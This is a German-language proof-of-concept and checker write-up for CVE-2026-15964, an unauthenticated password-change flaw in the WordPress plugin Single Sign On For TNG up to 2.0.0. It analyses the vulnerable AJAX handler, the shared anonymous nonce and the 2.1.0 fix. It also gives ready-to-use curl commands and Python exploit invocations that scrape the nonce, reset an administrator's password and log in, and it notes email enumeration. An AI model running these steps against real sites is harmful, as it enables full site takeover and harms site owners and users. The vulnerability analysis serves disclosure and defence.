
PoC & Checker für CVE-2026-15964 – nicht authentifizierte Passwortänderung im WordPress-Plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Nicht authentifizierte Privilegienerweiterung durch ungeprüfte Passwortänderung im WordPress-Plugin Single Sign On For TNG.
| Schweregrad | Kritisch (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Ungeprüfte Passwortänderung) |
| Betroffen | Plugin-Versionen 1.0.0 bis 2.0.0 |
| Behoben in | 2.1.0 (veröffentlicht am 2026-07-27) |
| Veröffentlicht | 2026-08-01 |
| Authentifizierung erforderlich | keine (wp_ajax_nopriv_ssoprocess_ajax) |
| Auswirkung | Passwort von jedem WordPress-Konto ändern, einschließlich Administratoren - vollständige Übernahme der Website |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Jeder nicht authentifizierte Besucher kann das Passwort eines beliebigen Kontos auf einer Website ändern, auf der das Plugin in Version 2.0.0 oder früher läuft. Zwei HTTP-Anfragen:
SSOPWDREQUIREMENT-JavaScript-Objekt.admin-ajax.php mit operation=setnewpassword, einer Opfer-E-Mail-Adresse und einem neuen Passwort.Der WordPress-Kern übernimmt mit reset_password() den Rest. Kein Token, kein E-Mail-Bestätigungslink, keine Berechtigungsprüfung. Danach als Administrator anmelden.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
In single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* bedeutet, dass der Handler ohne jegliche Sitzung erreichbar ist.
load_scripts() ist an wp_enqueue_scripts angehängt, daher gibt das Plugin auf jeder Frontend-Seite Folgendes in das HTML aus:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Das wird wie folgt dargestellt:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
Und der Handler prüft es so:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
Der Haken: WordPress berechnet Nonces mit wp_create_nonce($action) anhand von uid und dem Sitzungstoken. Für abgemeldete Besucher sind das 0 und ein leerer String, was bedeutet, dass jeder anonyme Besucher exakt dieselbe Nonce erhält. Sie wird nur alle 12 Stunden neu erzeugt (der Nonce-Tick). Die Nonce, die das Plugin für jeden Besucher ausgibt, ist also auch für den Angreifer gültig - es gibt kein Geheimnis zu stehlen, es wird direkt auf der Seite veröffentlicht.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() ist eine Kernfunktion von WordPress. Sie setzt den neuen Hash, meldet das Opfer aus allen anderen Sitzungen ab und löst die Aktionen password_reset / after_password_reset aus. Sie wird hier aufgerufen, ohne dass irgendetwas belegt, dass der Aufrufer der Kontoinhaber ist.
Zwei zusätzliche Punkte, die man kennen sollte:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC des Plugins werden nur in validate_form() für Forminator-Formulare durchgesetzt, niemals hier. Jedes Passwort wird akzeptiert.{"success":true} vs. {"success":false} verrät, ob eine E-Mail-Adresse registriert ist. Der --enum-only-Modus des Checkers nutzt das.operation=set_tzoffset ruft update_option('localtzoffset', $post['timezoneoffset']) ohne Authentifizierung auf. Nicht direkt für RCE ausnutzbar, aber es ist ein Schreiben von Optionen ohne Authentifizierung und im Write-up erwähnenswert.Der Vergleich von 2.0.0 mit 2.1.0 macht den Fix offensichtlich (und bestätigt den Bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
plus, in newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
In 2.1.0 sieht der Ablauf also so aus: Eine echte Wiederherstellungsanfrage speichert einen benutzerspezifischen custom_recovery_token und eine custom_recovery_nonce in den Benutzer-Metadaten, der Wiederherstellungslink enthält die Benutzer-ID, das Formular validiert beides, und der AJAX-Handler weigert sich zu laufen, sobald das Wiederherstellungsfenster (timeout) abgelaufen ist. Ein Angreifer, der keinen gültigen Wiederherstellungsdatensatz vorweisen kann, kann setnewpassword nicht mehr auslösen.
Schritt 1 - die Nonce auslesen
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Schritt 2 - das Passwort ändern
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Erwartete Antwort auf einer verwundbaren Installation: {"success":true}
Schritt 3 - anmelden
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pyExploit für einzelne Websites. Nicht-destruktive Modi sind enthalten.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only